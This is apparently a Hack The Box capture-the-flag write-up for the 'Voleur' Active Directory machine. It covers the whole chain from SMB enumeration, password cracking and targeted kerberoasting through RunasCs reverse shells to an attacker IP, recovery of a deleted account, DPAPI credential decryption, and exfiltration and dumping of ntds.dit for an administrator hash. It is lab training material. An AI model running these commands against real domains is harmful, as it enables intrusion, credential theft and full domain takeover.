TCP Scan#

ip=10.129.32.105
nmap -sCV -p- -vv -A -T5 -oA scan/normal $ip

Based on the TCP scan results, the following ports are available for further assessment:

We can observe that, in addition to the usual Active Directory ports, there is an SSH port open on 2222 which is quite rare for a Windows box. We’ve seen it before on machines like Darkcorp, but it’s still unusual. The scan also discloses the domain name for this box so let’s add it to our /etc/hosts file :

echo "$ip voleur.htb DC.voleur.htb DC01.voleur.htb" | sudo tee -a /etc/hosts

Enumerating the SMB shares#

Let’s start by enumerating the smb shares:

nxc smb $ip -u 'ryan.naylor' -p 'HollowOct31Nyt' --shares

However, just like last week’s box, NTLM authentication is disabled, so we need to use Kerberos instead:

So, we’re just going to replicate what we did in the last box: we’ll sync the time with the Domain Controller, then request a Kerberos ticket:

sudo ntpdate voleur.htb

nxc smb DC.voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' --generate-krb5-file /tmp/voleur.krb5 -k

With that done, let’s export it and use it to enumerate SMB:

export KRB5_CONFIG=/tmp/voleur.krb5
nxc smb DC.voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -k --shares

We see that, in addition to the usual shares, we have read access to IT, which appears to be a custom one, so let’s dump it.

In that share, we find a .xlsx file. When we try to open it, we see that it’s password-protected, and using Ryan’s password doesn’t work:

Let’s crack our way in:

office2john Access_Review.xlsx > accessReview.hash
john accessReview.hash --wordlist=../../../wordlists/rockyou.txt

Access_Review.xlsx:football1

With the password in hand, it’s time to check the file’s contents. We find cleartext passwords for two service accounts, as well as a deleted account with its cleartext password. This account might still be in the recycle bin like in one of the recent boxes so we should keep that in mind:

Bloodhound#

To kick off our Active Directory exploration, we need to gather data from shares like SYSVOL and NETLOGON. These are goldmines for uncovering Group Policy Objects, user permissions, and domain trusts:

bloodhound-python --dns-tcp -ns $ip -d voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -c all -k

With the data in hand, it’s time to load it into BloodHound’s GUI and start running queries.

Shell as svc_winrm:#

Basically, what we need to do is gain access to the svc_winrm service account or any other account that has WinRM privileges. In bloodhound we see that svc_ldap can do a targeted kerberoast attack on svc_winrm:

Since we found credentials for svc_ldap in the spreadsheet file, let’s test them:

nxc smb DC.voleur.htb -u 'svc_ldap' -p 'M1XyC9pW7qT5Vn' -k

They work !!

So let’s kerberoast svc_winrm:

python3 targetedKerberoast.py -v --dc-ip $ip --dc-host 'dc.voleur.htb' -d 'voleur.htb' -u 'svc_ldap@voleur.htb' -p 'M1XyC9pW7qT5Vn' -k

We get the hash for svc_winrm as well as lacey.miller:

By cracking the hash, we obtain the cleartext password:

svc_winrm:AFireInsidedeOzarctica980219afi

With the credentials in hand, let’s use them to request a Kerberos ticket then export it:

impacket-getTGT 'voleur.htb/svc_winrm:AFireInsidedeOzarctica980219afi'
export KRB5CCNAME=svc_winrm.ccache

Now we can use the generated ticket to login:

evil-winrm -i DC.voleur.htb -u svc_winrm -r voleur.htb

And we get the user flag:

Resurrecting todd.wolfe:#

In the C:\ directory, there’s an IT folder with three subdirectories one for each support level. I assume that each subdirectory can only be accessed by users in the corresponding group:

In BloodHound, there are no clear paths to Administrator, so let’s see if we can re-enable the deleted account we discovered during enumeration. First I confirmed that the Recycle Bin is active:

Get-ADOptionalFeature 'Recycle Bin Feature' | Get-ADObject

Hmm, now we need to switch to svc_ldap, which is part of the Restore Users group a group that has permission to do exactly what its name suggests:

Since we can’t log in directly with the password, let’s use the runas utility to get a reverse shell as svc_ldap:

./RunasCs.exe 'svc_ldap' 'M1XyC9pW7qT5Vn' powershell -r 10.10.16.10:6666

And we get our reverse shell:

The next step is to check if Todd is actually still in the recycle bin, but the command returned empty which means there might be an error in the command:

Get-ADObject -Filter 'Name -eq "Todd Wolfe"' ` -IncludeDeletedObjects -Properties * ` | Format-List Name,ObjectGUID

After briefly brainstorming with my beloved clanker😭, I reran the command using a regex-like filter and it worked. Todd is actually still in the recycle bin:

Get-ADObject -Filter 'Name -like "*Todd Wolfe*"' ` -IncludeDeletedObjects -Properties * ` | Format-List Name,ObjectGUID

Now, let’s resurrect him:

Restore-ADObject -Identity '1c6b1deb-c372-4cbb-87b1-15031de169db'

We see that the account was restored and is enabled:

Get-ADUser -Filter {Name -like "*Todd Wolfe*"} -Properties Name,ObjectGUID,Enabled,DistinguishedName

todd.wolfe:NightT1meP1dg3on14

DPAPI FUCKING#

Now that we’ve resurrected Todd, let’s get a reverse shell as his account to see if there’s anything hidden there:

./RunasCs.exe 'todd.wolfe' 'NightT1meP1dg3on14' powershell -r 10.10.16.10:6669

Since todd is part of the Second-Line Support group, I accessed the corresponding folder in the IT directory and followed the path until I found the good old DPAPI relics, so that might be our path forward. First I moved the credential blob to a tmp directory in C:\ the download it from the evil-winrm session:

In the Protect directory, we found the DPAPI master key file, so I followed the same process to download it:

Now with both files in hand, it’s time to crack them to see what’s inside:

impacket-dpapi masterkey -file 08949382-134f-4c63-b93c-ce52efc0aa88 -sid S-1-5-21-3927696377-1337352550-2781715495-1110 -password 'NightT1meP1dg3on14'

This successfully gives us the decrypted DPAPI master key:

With the master key, we can now decrypt the credential blob file:

impacket-dpapi credential -file "772275FAD58525253490A9B0039791D3" -key "0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83"

We end up getting credentials for jeremy.combs:

jeremy.combs:qT3V9pLXyN7W4m

From earlier in the enumeration phase, we know that jeremy is part of the Remote Management group and has access to a mysterious Software folder. So let’s request a ticket then use it to get a remote shell:

impacket-getTGT 'voleur.htb/jeremy.combs:qT3V9pLXyN7W4m'
export KRB5CCNAME=jeremy.combs.ccache
evil-winrm -i DC.voleur.htb -u jeremy.combs -r voleur.htb

Now that we have a shell, the next logical step is to check out the Third-Line Support group and then look for the Software folder. We see an SSH key, which I assume we can use to connect to SSH on port 2222, a backups folder that we don’t have the permission to access, along with a note from the administrator mentioning that they’re testing Linux backup solutions because the Windows ones are too overwhelming:

After successfully downloading the SSH key, the next logical step is to figure out which user it belongs to. My hunch is that it might be either Administrator or the suspicious-looking svc_backup user. I’ll try those two first, and if neither works, I’ll test the rest of the users:

chmod 600 id_rsa

It didn’t work with administrator, but gave us a shell as svc_backup:

ssh -i id_rsa -p2222 svc_backup@voleur.htb

While doing some manual enumeration, I found the C: drive mounted on /mnt. Naturally, I tried accessing the flag directly, but we don’t have sufficient permissions:

After bashing my head against the wall for a few minutes, I remembered there’s a folder named backup maybe svc_backup has access to it? Wouldn’t hurt to check it out. I did, and inside I found the SAM and SYSTEM registry hives, along with the ntds.dit file. We can use all of this to dump Active Directory secrets, including passwords and hashes:

But to do that, we need to exfiltrate the SYSTEM, SECURITY, and ntds.dit files to our attack host. The quickest way is to compress all the files into a ZIP archive and then transfer them using scp, and finally extracting it:

tar -czf backup_files.tar.gz SECURITY SYSTEM ntds.dit ntds.jfm

scp -i id_rsa -P 2222 svc_backup@voleur.htb:/mnt/c/IT/Third-Line\ Support/Backups/.tmp/backup_files.tar.gz ./backup_files.tar.gz

tar -xzf backup_files.tar.gz

With the files in our hands, it’s time to dump some secrets:

impacket-secretsdump LOCAL -system SYSTEM -security SECURITY -ntds ntds.dit

With the admin’s hash, we can’t log in directly using Pass-the-Hash (PtH), but we can request a Kerberos ticket like we did earlier with the other users:

impacket-getTGT voleur.htb/administrator -dc-ip $ip -hashes 'aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2'
export KRB5CCNAME=administrator.ccache KRB5_CONFIG=/tmp/voleur.krb5

Finally we can access root’s directory and collect the last flag:

evil-winrm -i DC.voleur.htb -u administrator -r voleur.htb